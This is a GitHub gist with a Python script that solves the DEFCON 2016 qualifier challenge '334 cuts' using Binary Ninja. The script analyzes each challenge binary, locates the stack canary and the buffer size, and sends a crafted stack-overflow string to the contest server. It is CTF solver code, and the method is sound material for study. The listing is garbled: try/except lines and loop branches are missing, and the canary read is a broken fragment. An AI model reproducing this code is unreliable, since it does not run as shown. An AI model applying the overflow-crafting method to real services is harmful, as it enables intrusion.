Skip to content

Instantly share code, notes, and snippets.



Last active Apr 13, 2018
What would you like to do?
Script to solve the 334 cuts challenge from DEFCON 2016 quals using Binary Ninja
#!/usr/bin/env python
import sys
import binaryninja
except ImportError:
import binaryninja
import time
import socket
import base64
s = socket.socket()
s.connect(('', 10334))
print "Msg: " + s.recv(1024)
def readUntil(s, delim):
msg = ""
while delim not in msg:
msg += s.recv(1)
return msg
msg = readUntil(s, '\n')
while True:
# They send us the challenge name to process.
msg = readUntil(s, '\n')
if 'segfault' in msg:
print msg
chal = msg.strip()
# Open a binary view to the challenge as an elf
print "Analyzing {0}".format(chal)
bv = binaryninja.BinaryViewType["ELF"].open(chal)
# start at the entry point
print "Entry Point: {0:x}".format(bv.entry_point)
entry = bv.get_functions_at(bv.entry_point)[0] # Get the entry point as a function object
count = 0
start = None
# Iterate over the basic blocks in the entry function
for block in entry.low_level_il:
# Iterate over the basic blocks getting il instructions
for il in block:
# We only care about calls
if il.operation != binaryninja.core.LLIL_CALL:
# The second call is the call to start
count += 1
if count == 2:
start = bv.get_functions_at(il.operands[0].value)[0]
print "start: {0}".format(start)
# Do the same thing with main, it's the first call in start
main = None
for block in start.low_level_il:
for il in block:
if il.operation != binaryninja.core.LLIL_CALL:
main = bv.get_functions_at(il.operands[0].value)[0]
print "main: {0}".format(main)
# Collect all the call instructions in main
calls = []
for block in main.low_level_il:
for il in block:
if il.operation == binaryninja.core.LLIL_CALL:
# If there are 5, then the memcmp is the second one. With 6 its the 3rd one.
if len(calls) == 5:
memcmp = calls[1]
memcmp = calls[2]
# We assume that ecx contains a reference to the canary string at the memcmp
# This isn't guarenteed to be true but it worked across all 334 challenge binaries
canary_address = main.get_reg_value_at_low_level_il_instruction(memcmp.address, 'ecx').value
canary =, 4)
print "Canary: {0}".format(canary)
buffer_size = 0
total_stack = 0
# Get the stack layout and find the first stack reference past the canary.
# It'll be the buffer to overflow
for stackslot in reversed(main.stack_layout):
if stackslot.offset < (-21 - 8):
buffer_size = last_slot.offset - stackslot.offset
total_stack = (-stackslot.offset) + 4
last_slot = stackslot
print "Buffer Size: {0} 0x{0:x}".format(buffer_size)
# Once we know the canary string and the buffer size, we can craft the crashing string
print buffer_size
crash_string = "a" * buffer_size
crash_string += canary[:4]
if total_stack % 4 != 0: # Let's align the total stack size
total_stack += 4 - (total_stack % 4)
crash_string += "a" * (total_stack - buffer_size - 4)
crash_string += '\n'
# Send the crashing string to the service
b64 = base64.b64encode(crash_string)
print chal, canary, crash_string.strip(), b64
s.send(b64 + "\n")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment